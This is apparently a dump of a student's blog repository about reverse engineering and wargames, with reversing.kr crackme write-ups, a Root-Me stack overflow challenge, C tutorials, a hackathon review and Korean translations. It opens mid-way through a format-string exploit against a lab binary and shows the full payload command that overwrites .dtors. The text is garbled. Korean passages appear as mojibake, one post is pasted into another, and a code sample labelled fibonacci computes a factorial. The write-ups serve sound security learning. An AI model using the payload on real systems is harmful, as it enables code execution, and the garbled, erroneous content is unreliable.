The (Any value)*4: To handle "%[address of shellcode 1]c" (cuz when use format, the stack pops)
The ([.dtors+4]), ([.dtors+8]): To set where %n to edit.
And because %n saves how much bytes are used into the given address. It's the reason why I subtracted the total bytes of printed before when calling %c.
h
So I made a payload like this.
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%[address 1]c%n"+"%[address 2]c%n"'; cat)|./attackmeโSo I get an address with some C codes.
File: _posts/2019-07-12-Reversing33.md
layout: post title: "Plans" date: 2019-07-12 23:49:00 +0900 categories: []
Chapter 1 of the book which I'm reading is ended.
By answering to a person who does reverse engineering really well in my club, I got some tips from him.
But before we start, let's write down here what I've done about a month.
Crack me 1, Crack me 2, and Lena's Reverse Engineering.
By reverse-engineering them, I can learn a lot of stuff, and I'm pretty comfortable to read assembly codes now.
There's a famous website for Koreans which is called reversing.kr.
This website has a lot of problems with various difficulties, easy to hard.
As he suggested me, now I'll solve easy crackme and easy keygen. And also I'll make the serial creating algorithms in C.
File: _posts/2019-07-13-KRReversing34.md
[Binary file]
File: _posts/2019-07-14-KRReversing35.md
layout: post title: "์คํ ํ๋ ์" date: 2019-07-14 14:31:21 +0900 categories: [korean, reversing]
This post is a Korean translated version of Stack Frame - Function Prologue, Stack Frame - Function Epilogue.
ESP ๋ ์ง์คํฐ๋ ์คํ์ ์๋ถ๋ถ์ ๊ฐ๋ฆฌํค๊ณ , EBP๋ ์คํ์ ๋ฐ๋ฅ๋ถ๋ถ์ ๊ฐ๋ฆฌํจ๋ค.
๊ทธ๋ฆฌ๊ณ ์คํ์ LIFO(Last in, First Out) ๊ตฌ์กฐ๋ฅผ ๊ฐ๊ณ ์๋ค.
์๋ฌดํผ ์ค๋์ ๋ฉ๋ชจ๋ฆฌ์ ์คํ ์์ญ๊ณผ ๊ดํ ์ด์ผ๊ธฐ๋ฅผ ํด๋ณผ๊ฒ์ด๊ณ , ์ข ๋ ์์ธํ ๋งํ์๋ฉด ์คํ ํ๋ ์์ ๋ํด ์ด์ผ๊ธฐ๋ฅผ ๋๋ ์์ ์ด๋ค.
๊ทธ๋์ ๊ทธ๊ฒ ๋ญ๋ฐ?
์คํํ๋ ์์ ๋ก์ปฌ ๋ณ์, ํ๋ผ๋ฏธํฐ(ํจ์์ ์ธ์๊ฐ), ESP๋์ EBP๋ฅผ ํตํด ๋ฐํ ์ฃผ์๋ฅผ ์ ์ฅํ๋ ๊ธฐ๋ฒ์ด๋ค.
๊ทธ๋์ ์ด๊ฒ๋ค์๋ ํจ์ ํ๋กค๋ก๊ทธ์, ํจ์ ์ํ๋ก๊ทธ๋ผ๋๊ฒ์ด ์๋ค.
ํจ์ ํ๋กค๋ก๊ทธ
ํจ์๊ฐ ํธ์ถ๋๋ฉด, ํจ์ ์คํ์ด ๋๋๊ณ ๋ ๋ค ์คํ์ ์์น๋ฅผ ์ด๋๋ก ๋๋ฆด์ง ์ ์ฅํด์ผ ํ๋ค. ๊ทธ๋์ผ ํจ์๊ฐ ์คํ๋๊ธฐ ์ ์ ๋ด์ฉ๋ค์ ์ ๋๋ก ์ ๊ทผ ํ ์ ์์ํ
๋๊น.
์ด๊ฒ์ ํจ์ ํ๋กค๋ก๊ทธ ๋ผ๊ณ ํ๋ค. ํจ์๊ฐ ์คํ๋๋ฉด, ํจ์์ ๋งจ ์์๋ ๋ค์๊ณผ ๊ฐ์๊ฒ๋ค์ด ์๋ค.
push ebp
mov ebp, esp์ด ๋ช
๋ น์ด๋ค์ ์ดํดํ๊ธฐ ์ํด์๋, ๋ค๋ฅธ ํจ์๋ฅผ ์ํ ๋ ๋ค๋ฅธ ๊ณต๊ฐ์ ์คํ์์ "์๋๋ค" ๋ผ๊ณ ์ดํดํ๋ฉด ๋ ๊ฒ์ด๋ค.
๋จผ์ , ํจ์๊ฐ ๋๋ฌ์๋ ๋๋ฆฌ๊ธฐ ์ํ ์คํ ๋ฐ๋ฅ์ ์ฃผ์๋ฅผ ์ ์ฅํ๋ค.
๊ทธ๋ฆฌ๊ณ ๋๋ฒ์งธ ๋ช
๋ น์ด๋ ์คํ์์ ๊ฐ์ฅ ๋์๋ ๋ถ๋ถ์ ๋ฐ๋ฅ์ผ๋ก ์ง์ ํจ์ผ๋ก์จ ์ ๊ณต๊ฐ์ ์๋ ์ญํ ์ ํ๊ฒ ๋ง๋๋๊ฒ์ด๋ค.
์ด๊ฒ์ ํตํด ํจ์๋ ์ง์ญ๋ณ์๋ฅผ ๊ฐ์ง ์ ์๊ฒ ๋๋ค.
ํจ์ ์ํ๋ก๊ทธ
๊ทธ๋ฆฌ๊ณ ํจ์๊ฐ ๋๋ฌ์๋๋, ์ ๊ณผ ๊ฐ์ด ๋ณต๊ตฌ๋์ด์ผ ํ๋ค. ์ด๋ฅผ ๋ด๋นํ๋ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
mov esp, ebp
pop ebpํจ์ ํ๋กค๋ก๊ทธ์์ ebp๋ฅผ esp๋ก ์ง์ ํ๊ธฐ ๋๋ฌธ์ ๊ทธ ๋ฐ๋๋ก esp์๋ค๊ฐ ๊ทธ ๊ฐ์ ๋ฃ์ด์ฃผ๊ณ , ์คํ์ ์ง์ฆ ์์๋ ์ฃผ์๊ฐ(ํจ์๊ฐ ์คํ๋ ๋ ๋ค์ด๊ฐ ebp๊ฐ)์ ebp์ ๋ฃ์ด ์ค์ผ๋ก์จ ์๋์ ์คํ ์ํ๋ก ๋๋ ค๋๋๋ค.
File: _posts/2019-07-15-KRReversing36.md
[Binary file]
File: _posts/2019-07-16-KRHackathon37.md
[Binary file]
File: _posts/2019-07-17-Reversing38.md
layout: post title: "Reversing.kr Easy Crack writeup" date: 2019-07-17 12:30:23 +0900 categories: [reversing]
Reversing.kr ?
Reversing.kr is the one of the most famous website for Korean reversers.
It has a lot of reversing problems including windows, linux and macOS.
Anyway, This is my first problem in the Reversing.kr.
First up, let's download the executive file.
You can have all the problems here.
So it's a simple program which compares the password with the string that I wrote.
Anyway, let's open it with the ollydbg.
It looked like this.
When I first saw this, I thought it's written in VB, but now I look again, I think it's written in C/C++, since there's not much long STUB code.
Anyway, I tried to search all the strings in this program.
And as you can see in the picture, there were some codes which seem to determines whether the password is wrong or right.
Here is the checking part.
Well, the comments are already there because I solved it already.
Anyway, the way I figured out the first CMP one was just guessing.
Because the hex 61 was so friendly to me, I just filled the input field with "aaaaa", and I was able to pass the first check part.
By trying "1234a" to "1a345", I finally figured out that it's the part whether the [argument+1] is a or not.
And now it's the second part.
There's an error in the comment. It's not [argument+3]. It's [argument+2].
Because of the register pannel which was displaying "345", I thought that this part is something like
strncmp([argument+2], "5y", 2);And it was true. I passed this part with the argument "1a5y56789".
Let's look at the next part.
There is a part which looks very alike to the previous checking part.
Like the previous part, because the register pannel was displaying "56789", I thought that this part is something like
strncmp([argument+3], "R3versing", 9);So with the "1a5yR3versing", I passed it.
And now it's the last part.
It's comparing esp+4 with hex 45, which is 'E' in ascii.
And as you can see in the stack segment, the address esp+4 is where the argument is located.
So the payload is:
Ea5yR3versingFile: _posts/2019-07-18-KRReversing39.md
layout: post title: "Reversing.kr Easy Crack ๋ผ์ดํธ์ " date: 2019-07-18 9:21:00 +0900 categories: [reversing, korean]
This post is a Korean translated version of Reversing.kr Easy Crack writeup.
Reversing.kr ?
Reversing.kr ์ ํ๊ตญ์ธ ๋ฆฌ๋ฒ์๋ค์๊ฒ ์ ๋ช
ํ ์ฌ์ดํธ์ด๋ค.
์๋์ฐ, ๋ฆฌ๋
์ค, ์ฌ์ง์ด๋ macOS๋ฅผ ์ํ ๋ฆฌ๋ฒ์ฑ ๋ฌธ์ ๋ค๋ ์ค๋น๋์ด์๋ ๊ทธ๋ฐ ์ฌ์ดํธ์ด๋ค.
์ด์จ๋ , ์ค๋ ํ์ด๋ณด๋๊ฒ์ Reversing.kr์์์ ์ฒซ ๋ฌธ์ ๋ค.
์ผ๋จ ์คํํ์ผ์ ๋ค์ด๋ก๋ ๋ฐ์.
์ด๊ณณ์์ ๋ชจ๋ ๋ฌธ์ ๋ค์ ๊ตฌํ ์ ์๋ค!
๊ทธ๋์ ์ด๋ฒ ๋ฌธ์ ๋ ๋ด๊ฐ ์ ์ string๊ณผ ์ ๋ต์ ๋น๊ตํ๋ ๊ฐ๋จํ ํ๋ก๊ทธ๋จ์ด๋ค.
์ฌ๋ฆณ๋๋ฒ๊ฑฐ๋ก ์ด์ด๋ดค๋๋, ๋ค์๊ณผ ๊ฐ์๋ค.
์ฒ์๋ดค์๋ VB์ฝ๋์ธ๊ฐ? ์ถ์๋๋ฐ ์ง๊ธ ๋ณด๋๊น ๋ STUB์ฝ๋๊ฐ ๋๋ฝ์ง ์์ ๋ชจ์ต์ ๋ด์๋ C/C++ ์ฝ๋์ธ๊ฒ ๊ฐ๊ธฐ๋ํ๊ณ .. ์ ๋ชจ๋ฅด๊ฒ ๋ค.
์ด์จ๋ ์ฌ๋ฆฌ๋๋ฒ๊ฑฐ์ ๊ธฐ๋ฅ์ธ ๋ฐ์ด๋๋ฆฌ ๋ด์ string์ ์ฐพ์์ฃผ๋ ๊ธฐ๋ฅ์ผ๋ก ์ข ๋ดค๋๋ ๋ค์๊ณผ ๊ฐ์๋ค.
๊ทธ๋ฆผ์์ ๋ณด๋๊ฒ์ฒ๋ผ, ๋ด๊ฐ ์
๋ ฅํ ๋ฌธ์์ด์ด ๋ง๋์ง ํ๋ฆฐ์ง ๊ฒฐ์ ํ๋ ๋ถ๋ถ์ ์ฝ๋๊ฐ ์ข ์๋๊ฒ๊ฐ์๋ค.
๊ทธ๋ฆฌ๊ณ ์ด๊ฒ ๊ฒ์ฌํ๋ ๋ถ๋ถ์ด๋ค.
๋ ์ด๋ฏธ ํ์๊ธฐ ๋๋ฌธ์ ์ฃผ์์ด ์๊ณ , ์๋๋ ์๋ค๋ ์ ์ ์ฐธ๊ณ ํ์.
์ฒซ๋ฒ์งธ CMP๋ถ๋ถ์ ๊ทธ๋ฅ ๊ฐ์ผ๋ก ํ์๋ค.
16์ง์ 61์ด ํด์ปค์ค์ฟจ์ ํ๋ค๋ณด๋ ๋๋ฌด ๋์๊ฒ ์น์ํด์, ๊ทธ๋ฅ ์
๋ ฅํ๋์ "aaaaa"๋ฅผ ์
๋ ฅํ๋๋ ์ฒซ๋ฒ์งธ ๊ฒ์ฌ ๋ถ๋ถ์์ ํต๊ณผํ๋ค.
"1234a" ๋ถํฐ "1a345"๊น์ง ์๋ํ ๋์, ๊ทธ๊ฒ์ด [argument+1] ์ด 'a'์ธ์ง ์๋์ง ๊ฒ์ฌํ๋ ๋ถ๋ถ์ด๋ผ๋๊ฒ์ ์์๋ค.
๊ทธ๋ฆฌ๊ณ ์ด์ ๋๋ฒ์งธ ๋ถ๋ถ.
์ฃผ์์ ์ค๋ฅ๊ฐ ์๋๋ฐ, argument+3๊ฐ ์๋๋ผ argument+2์ด๋ค.
๋ ์ง์คํฐ ํจ๋์์ "345"๋ฅผ ์ถ๋ ฅํ๊ณ ์๊ธธ๋ ๋์ถฉ c์์ ์ด๋ฐ ์ฝ๋๊ฒ ๊ฑฐ๋ ํ๋ค.
strncmp([argument+2], "5y", 2);๊ทธ๋ฆฌ๊ณ ๋ง์๋ค. "1a5y56789"๋ฅผ ์
๋ ฅํจ์ผ๋ก์จ ํต๊ณผํ๋ค.
๋ค์ ๋ถ๋ถ์ ๋ณด์.
๋ฐ๋ก ์ง์ ์ ํ์ธ ๋ถ๋ถ๊ณผ ๊ต์ฅํ ๋น์ทํด๋ณด์ด๋ ์ฝ๋๊ฐ ์๋ค.
์๊น ๊ทธ๋ฌ๋๊ฒ์ฒ๋ผ, ๋ ์ง์คํฐ ํจ๋์์ "56789"๋ฅผ ๋ณด์์, ๋์ถฉ ์ด๋ฐ ์ฝ๋์ธ๊ฐ ์ถ์๋ค.
strncmp([argument+3], "R3versing", 9);๊ทธ๋์ "1a5yR3versing"์ ์
๋ ฅํ์๋ ์ด๋ฒ ๊ฒ์ฌ๋ฅผ ํต๊ณผ ํ ์ ์์๋ค.
์ด์ ๋ง์ง๋ง ๋ถ๋ถ์ด๋ค!
esp+4์ 16์ง์ 45, ๊ทธ๋ฌ๋๊น ์์คํค๋ก 'E'๋ฅผ ๋น๊ตํ๊ณ ์๋ค.
์คํ ์์ญ์์ ๋ณผ ์ ์๋ฏ, esp+4 ๋ ๋ด๊ฐ ์
๋ ฅํ ๋ฌธ์์ด์ด ์๋๊ณณ์ด๋ค. ๊ทธ๋ฌ๋ ํ์ด๋ก๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
Ea5yR3versingFile: _posts/2019-07-19-Reversing40.md
layout: post title: "Reversing.kr Easy Crack in C" date: 2019-07-19 16:56:24 +0900 categories: [reversing]
After I solve the EasyCrack, I thought it would be nice if I make a C copy version of it.
So I made it with the same algorithm which EasyCrack uses.
#include <string.h>
#include <stdlib.h>
void RaiseWrong() {
printf("Incorrect Password");
exit(0);
}
int main(int argc, char **argv) {
if(argc == 1){
printf("The numbers of argument should be more than 2");
return 0;
}
if(argv[1][1] != 'a')
RaiseWrong();
if(strncmp(&argv[1][2], "5y", 2))
RaiseWrong();
if(strcmp(&argv[1][4], "R3versing"))
RaiseWrong();
if(argv[1][0] != 'E')
RaiseWrong();
printf("Congratulation !!");
return 0;
}So this is what it looks like.
File: _posts/2019-07-20-KRReview41.md
[Binary file]
File: _posts/2019-07-21-C42.md
layout: post title: "C basics series 1 - Function" date: 2019-07-21 11:47:24 +0900 categories: [c]
After I solve the EasyCrack, I thought it would be nice if I make a C copy version of it.
So I made it with the same algorithm which EasyCrack uses.
#include <string.h>
#include <stdlib.h>
void RaiseWrong() {
printf("Incorrect Password");
exit(0);
}
int main(int argc, char **argv) {
if(argc == 1){
printf("The numbers of argument should be more than 2");
return 0;
}
if(argv[1][1] != 'a')
RaiseWrong();
if(strncmp(&argv[1][2], "5y", 2))
RaiseWrong();
if(strcmp(&argv[1][4], "R3versing"))
RaiseWrong();
if(argv[1][0] != 'E')
RaiseWrong();
printf("Congratulation !!");
return 0;
}So this is what it looks like.
To explain the memory structure, I'll post about some C basics about three to four days
What is function?
You may hear of function in your math class.
It's also pretty similar in programming.
"A box that returns output by an input"
This will be the concept you learn from a math class.
In programming, the input can be none, and the output can be none.
In math, the output weighs a lot, but function in programming, the output can be meaningless or nothing. Sometimes some functions weighs more on process than the output.
The examples of functions in C are printf, scanf, gets which are defined in header file stdio.h.
Reason to use
Let me say a boy, exlock got an homework to memorize some words.
Exlock wanted to make a program which can help him to memorize words.
He started to make a simple program which shows the spelling of it and gets input from the user the meaning of it.
And he wanted to make a feature that saves what was wrong, what was right. Also even if the user exits the program after the program is completely executed, he wanted to write codes that does the same thing.(What was wrong, what was right)
And exlock got curiosity.
Do I have to write same codes for twice? Then, If I have to change the codes of it, do I have to modify them for twice?
In this case, function can be a great solution of it.
The usage of function
How to define it
There are two ways to make a function.
One way is to make a prototype of a function before the main is defined, and the other way is to write the whole code before the main.
So this is the way #1:
#include <stdio.h>
void save();
int main(){
return 0;
}
void save(){
//์ ์ฅ์ํค๋์ฝ๋
printf("saved\n");
}And this is the way #2:
#include <stdio.h>
void save(){
//์ ์ฅ์ํค๋์ฝ๋
printf("saved\n");
}
int main(){
return 0;
}A function can be defined with this syntax.
return
}
So there are four kinds of functions, and they are:
With arguments and return:
#include <stdio.h>
int temp(int a){
return a+3;
}
int main(){
return 0;
}With arguments but without return:
#include <stdio.h>
void temp(int a){
printf("%d", a);
}
int main(){
return 0;
}With arguments, but without return:
#include <stdio.h>
void temp(int a){
printf("%d", a);
}
int main(){
return 0;
}Without arguments, but with return:
#include <stdio.h>
int temp(){
return 55;
}
int main(){
return 0;
}Without arguments and return:
#include <stdio.h>
void temp(){
}
int main(){
return 0;
}Usage
Then how to use it? We already know the answer, to be honest.
();
The example would be:
printf("Hello world");Global Variable, Local Variable
I'll give you a simple quiz.
#include <stdio.h>
void temp(){
printf("%d", a);
}
int main(){
int a=3;
return 0;
}Will this code work?
The answer is: No.
Because the variable a is a local variable of the function main, but where printf executed is not in main.
Then how to make a variable which can be accessed from both main and temp?
Here comes the global function.
#include <stdio.h>
int a=3;
void temp(){
printf("%d", a);
}
int main(){
printf("%d", a);
return 0;
}Recursive function
A function that calls itself until the conditions that I want is correct is called recursive function.
It's better to understand which the codes, so I'll give you the code which prints the fibonacci numbers.
#include <stdio.h>
int factorial(int n)
{
if (!n)
return 1;
return n * factorial(n - 1);
}
int main(void)
{
printf("%d", factorial(3));
return 0;
}File: _posts/2019-08-26-Pwnable43.md
layout: post title: "ROOT-ME: STACK BUFFER OVERFLOW BASIC 1" date: 2019-08-26 22:57:00 +0900 categories: [pwnable]
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
return 0;
}It's the source code of it.
And in the stack, it will be located like:
[buf][check]
[var]
And in the fgets function, it receives the user's input as the size of 45 bytes, while the size of buf is 40.
So the payload is super easy, just to fill all the buf and put the deadbeef after it!
File: _posts/2019-08-27-Hacakthon44.md
layout: post title: "Review of Samsung SDS hackathon" date: 2019-08-27 23:40:00 +0900 categories: [hackathon]
I passed the preliminaries as the additional passer.
I know it's a bit late to write this today because it was held in the first week of August.
I don't have many things to say about this hackathon since I haven't got the prize, unlike the sunrin hackathon.
I heard from my friend that the winner of this hackathon got the Samsung galaxy tab 5e.
Anyway, what's important is not a prize, right? The most important thing is experience.
What our team designed to build was to make a smart grid system that is applicable to all the classes.
We made a smart plug which is controlled by an Arduino's sensor, and also with the camera, we have designed the feature to detect human by the camera, with the object recognition artificial intelligence, YOLO.
However, it turned out that the wifi module that we've got was a defective product, which means we're not able to connect our Arduino with the backend API server, which I developed.
Because we were not able to demonstrate what we built, we were not allowed to go to the final round.
One thing that I thought it's meaningful is that it was my first try to make a presentation on the hackathon.
Honestly, I really wanted to make a presentation since I like to talk in front of the public.
I have got complimented from my friends like "You did very well", and the moment that I made a presentation, is a moment that is a really unforgettable moment for me, for sure.
Anyway, I think it's time to focus on to study hacking since I haven't much studied about that.
File: _posts/2019-08-28-Plans45.md
layout: post title: "Things to do in September" date: 2019-08-28 23:40:00 +0900 categories: [Plans]
To apologize to me, to cheer me up, I thought that I have to make plans for the next month to spend a month very effectively.
So these are the things that I'm planning to do in September, which is the next month.
- Easy Keygen
- Lord Of Buffer overflow
- Solve Code Engn RCE to level 10
File: _posts/2019-08-29-Translation46.md
[Binary file]
File: _posts/2019-08-30-Translation47.md
layout: post title: "ํธ๋์ง์คํฐ์์ ์น ๋ธ๋ผ์ฐ์ ๊น์ง: ์ง์คํซ ๊ธ ๋ฒ์ญ: 2ํธ" date: 2019-08-30 13:20:00 +0900 categories: [translation]
I translated the content of this markdown, if you think that there's any problem with this post, such as the licensing problems, contact me to [email protected], so I can help you.
์น์ 2: ์๋ฐ์ : ํ๋์จ์ด๊ฐ ๋ฌด์จ ์ธ์ด๋ก ์์ฑ๋์ด์๋? -- 0.5 ์ฃผ
- LED ๊น๋นก์ด๊ธฐ(Verilog, 10) -- ๋น์ ์ ์ฒซ ํ๋ก๊ทธ๋จ์ ๋๋ค! ์๋ฎฌ๋ ์ดํฐ๊ฐ ์๋ํ๋๋กํ๋๊ฒ์ ๋ฐฐ์ฐ๊ณ , ๋ฒ ๋ฆด๋ก๊ทธ์ ๋ํด ๋ฐฐ์๋๋ค.
- UART(๋ฒ์ฉ ๋น ๋๊ธฐํ ์ก์์ ๊ธฐ)๋ง๋ค๊ธฐ(Verilog, 100) -- ๋ฒ ๋ฆด๋ก๊ทธ์ ์ ๋ฌธ ๋จ๊ณ์ ๋๋ค. ์ง์ง UART๋ฅผ ๋ณต์ ํ๊ณ , MMIO(๋ฉ๋ชจ๋ฆฌ ๋งต ์ ์ถ๋ ฅ)์ ๊ฐ๋ ์ ๋ํด ์๊ฐํฉ๋๋ค. ๋น๋ก ์๋ฆฌ์ผ ํฌํธ๊ฐ ์ธ๋ฏธํธ์คํ ์ด๊ธด ํ์ง๋ง์.(์ธ๋ฏธํธ์คํ ์ด๋ ARM์ ๋์์ผ๋ก ํ ์ฝ๋๊ฐ ๋๋ฒ๊ฑฐ๋ฅผ ๋๋ฆฌ๋ ํธ์คํธ ์ปดํจํฐ์์ ์ ์ถ๋ ฅ์ฅ๋น๋ฅผ ์ฌ์ฉํ ์ ์๊ฒ ํด์ฃผ๋ ๋ฉ์ปค๋์ฆ์ ๋งํฉ๋๋ค.) ์๋ฆฌ์ผ์ ํ ์คํธํ๋ ํ๋ก๊ทธ๋จ๊ณผ led๋ฅผ ์กฐ์ ํ๋ ํ๋ก๊ทธ๋จ์ ๋ง๋ญ๋๋ค.
์น์ 3: ํ๋ก์ธ์: ๊ทธ๋์ ํ๋ก์ธ์๊ฐ ๋ญ๋ฐ? -- 3 ์ฃผ
- ์ด์ ๋ธ๋ฌ ์ฝ๋ฉํ๊ธฐ(Python, 500) -- ๋จ์ํ๊ณ ์ง๋ฃจํ ์ด์ ๋ธ๋ฌ๋ฅผ ํ์ด์ฌ์์ ์์ฑํฉ๋๋ค. CPU์ ์๊ณผ ํจ๊ป ๋ณ๋ ฌ์ ์ผ๋ก ํฉ๋๋ค. ARM ์ด์ ๋ธ๋ฆฌ๋ฅผ ๊ฐ๋ฅด์ณ ์ค๊ฒ์ ๋๋ค. ์ฒ์์ ๊ฒฐ๊ณผ๋ฌผ๋ค์ ๊ทธ์ ์ด์งํ์ผ์ด๊ฒ ์ง๋ง, ๋น์ ์ด ๋ง์ปค๋ฅผ ์์ฑํ๋ฉด ๋ฌ๋ผ์ง๋๋ค.
- ARM7 CPU์ ์ (Verilog, 1500) -- ์ด๊ฑด ํ์ ๋จ๊ณ๋ก ๋๋์ธ์. ๊ฐ๋จํ ํ์ดํ๋ผ์ธ์์ ์์ํด์, decode, fetch, ์คํ๊น์ง์. ์ฐ๋ฆฌ๋ ์ผ๋ง๋ ๋ง์ BRAM(๋ธ๋ญ ๋จ)์ ๊ฐ๊ณ ์์๊น์? ์ต์ํ 1MB์ด๊ณ , DDR๋ก๋ ์ด๋ ค์ธ๊ฑฐ๊ฐ๊ณ , ์๋ง SRAM์ผ๊ฒ๋๋ค. ์๋ฎฌ๋ ์ด์ ๊ฐ๋ฅํ๊ณ ํฉ์ณ์ง๋๊ฒ ๊ฐ๋ฅํ์ฃ (synthesizable).
- ๋ถํธ๋กฌ ์ฝ๋ฉ(Assembler, 40) -- ์ด๊ฒ์ ์ฝ๋๋ฅผ ๋จ์ ์๋ฆฌ์ผ ํฌํธ๋ฅผ ํตํด ๋ค์ด๋ก๋ ํ๋๊ฒ์ ๊ฐ๋ฅํ๊ฒ ํด์ฃผ๊ณ , FPGA์ด๋ฏธ์ง๋ก ๊ตฌ์์ง๋๋ค. ๊ท์ฌ์ด ํ ์คํธ์ฉ ํ๋ก๊ทธ๋จ๋ค์ ์ฌ๊ธฐ์ ์๋ํ ๊ฒ์ด์์.
File: _posts/2019-08-31-Translation48.md
layout: post title: "ํธ๋์ง์คํฐ์์ ์น ๋ธ๋ผ์ฐ์ ๊น์ง: ์ง์คํซ ๊ธ ๋ฒ์ญ: 3ํธ" date: 2019-08-31 11:03:00 +0900 categories: [translation]
I translated the content of this markdown, if you think that there's any problem with this post, such as the licensing problems, contact me to [email protected], so I can help you.
์น์ 4: ์ปดํ์ผ๋ฌ: ๊ณ ์์ค ํ๋ก๊ทธ๋๋ฐ ์ธ์ด -- 3 ์ฃผ
- C์ธ์ด ์ปดํ์ผ๋ฌ ๋ง๋ค๊ธฐ(Haskell, 2000) -- ์กฐ๊ธ ๋ ์ฌ๋ฐ๋ ๊ณผ์ ์ ๋๋ค. ์ด ๊ณผ์ ์ ํตํด ์ปดํ์ผ๋ฌ์ ๊ธฐ์ด์ ์ธ ์ค๊ณ์ ๋ํด ๊ณต๋ถ ํ ์ ์๊ฒ ๋ฉ๋๋ค. ํ์ค์ผ๋ก ์์ฑํ๋๋ก ํฉ๋๋ค. ํ์๋ฅผ ์์ฑํ๋๋ก ํฉ๋๋ค. ์ด๊ฒ์ ์๋ธ์ฑํฐ๋ก ๋๋์ธ์. ๊ฒฐ๊ณผ๋ฌผ์ด ARM ์ด์ ๋ธ๋ฆฌ๋ก ๋์ต๋๋ค.
- ๋ง์ปค ๋ง๋ค๊ธฐ(Python, 300) -- ๋น์ ์ด ๋๋ํ๋ค๋ฉด, ํ๋ฃจ์ ๋ ๊ฑธ๋ฆด๊ฒ๋๋ค. ELFํ์ผ์ด ์ถ๋ ฅ๊ฐ์ผ๋ก ๋์ต๋๋ค. QEMU์ ํ ์คํธ ํ๋๋ฐ ์ฌ์ฉํด์, ์ธ๋ฏธํธ์คํ ์ผ๋ก์.
- libc + malloc(C, 500) -- ๋ณต์กํ ํ๋ก๊ทธ๋จ์ ์ํ ๊ด๋ฌธ์ ๋๋ค. ์ฌ๊ธฐ์ Libc๋ ์ ๋ฐ๋ง ๊ตฌํํฉ๋๋ค. memcpy๋ memset, printf๊ฐ์๊ฑธ์. ๊ทธ์น๋ง ์์คํ ์ฝ wrapper๋ ๋ง๋ค์ง ์์ต๋๋ค.
- ์ด๋๋ท ์ปจํธ๋กค๋ฌ ์ ์(Verilog, 200) -- ์ง์ง PHY(์ด๋๋ท ๋ฌผ๋ฆฌ ๊ณ์ธต)์ ์ ๊ทผํฉ๋๋ค, MMIO ์ค๊ฒ๋ฅผ ๋งค์ฐ ์กฐ์ฌ์ค๋ฝ๊ฒ ๊ณ ๋ คํ๋ฉด์์.
- ๋ถํธ๋ก๋ ์์ฑ(C, 300) -- UDP๋ฅผ ํตํ ํต์ ์ ํ๋ ์ด๋๋ท ํ๋ก๊ทธ๋จ์ ๋ถํธ๋ก๋์ ์์ฑํฉ๋๋ค. C๋ก ์ง์ฌ์ง๊ฒ์ ๋๋ค. Maybe donโt redownload over serial each time and embed in FPGA image. (ํด์ ์คํจ...)
File: _posts/2019-09-01-Translation49.md
[Binary file]
File: _posts/2019-09-02-Translation50.md
layout: post title: "ํธ๋์ง์คํฐ์์ ์น ๋ธ๋ผ์ฐ์ ๊น์ง: ์ง์คํซ ๊ธ ๋ฒ์ญ: 5ํธ" date: 2019-09-02 15:56:00 +0900 categories: [Plans]
I translated the content of this markdown, if you think that there's any problem with this post, such as the licensing problems, contact me to [email protected], so I can help you.
์น์ 6: ๋ธ๋ผ์ฐ์ : ์จ๋ผ์ธ์ผ๋ก ๊ฐ์๋ค -- 1 ์ฃผ
- TCP ์คํ ์ ์(C, 500) -- ์๋ง ์ปค๋์์ ์ฝ๋ฉ๋ ๊ฒ์ ๋๋ค. ์ปค๋์์ ์ด๋๋ท ๋๋ผ์ด๋ฒ์ ํตํฉํฉ๋๋ค. ๋คํธ์ํน ์์คํ ์ฝ์ ๋ํ ์ง์์ ์ปค๋์ ์ถ๊ฐํฉ๋๋ค. (send, recv, bind, connect)
- telnetd, ๋ฉํฐํ๋ก์ธ์๊ฐ ๋๋๊ฒ์ ํ(C, 50) -- ์จ๋ก ์์ฑ๋์ด, ์ฌ์ฉ์๋ ํ ๋ท์ ํตํด ์ฌ๋ฌ๋ฒ ์ ์ ํ ์ ์์ต๋๋ค. ์ง์ง ๊ทธ๋ฅ bind shell์ด์์.
- ๊ณต๊ฐ ์ ์ฝ dyanamic linking(C, 300) -- ์๋ํ๋ฉด ์ฐ๋ฆฌ๋ dynamic linker๊ฐ ์ด๋ป๊ฒ ๊ทธ์ ์ฌ์ฉ์ ์์ญ ํ๋ก๊ทธ๋จ์ธ์ง ์ค๋ช ํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ง์ปค์ ๋ํ ์์ ์ด ํ์ํด์.
- ์น์ ๋ํด ๋ค๋ฃน์๋ค(C, 500+) -- ๋ฉ์๋ ํฐ๋ฏธ๋๊ณผ ANSI๋ฅผ ์ฌ์ฉํ ์ข์ ํ ์คํธ ๊ธฐ๋ฐ ์น๋ธ๋ผ์ฐ์ ๋ฅผ ๋ง๋ญ๋๋ค. ๋์ ์ผ๋ก ์ฐ๊ฒฐ๋์ด์๊ณ ๋น์ ์ด ์ํ๋ ๋งํผ ์ข์ต๋๋ค.
File: _posts/2019-09-03-Translation51.md
[Binary file]
File: _posts/2019-09-04-apue52.md
[Binary file]
File: _posts/2019-09-18-python53.md
[Binary file]
File: _posts/2019-09-19-apue54.md
[Binary file]
File: _posts/2019-09-22-operating55.md
[Binary file]
File: _posts/2019-09-24-operating56.md
[Binary file]
File: _posts/2019-10-1-operating65.md
layout: post title: operating system concepts - interrupts 3 date: 2019-10-1 11:40:46 +0900 categories: [operating_system]
๋ค์์ ์ธํ ํ๋ก์ธ์๋ค์ ์ธํฐ๋ฝํธ ๋ฒกํฐ ์ค๊ณ๋๋ค.
| ๋ฒกํฐ ์ซ์ | ์ค๋ช |
|---|---|
| 0 | ๋๋๊ธฐ ์ค๋ฅ |
| 1 | ๋๋ฒ๊ทธ ์์ธ ์ํฉ |
| 2 | null interrupt |
| 3 | ๋ธ๋ ์ดํฌ ํฌ์ธํธ |
| 4 | INTO-detected ์ค๋ฒํ๋ก์ฐ |
| 5 | bound range exception |
| 6 | invalid opcode |
| 7 | device not available |
| 8 | double fault |
| 9 | coprocessor segment overrun (reserved) |
| 10 | invalid task state segment |
| 11 | segment not present |
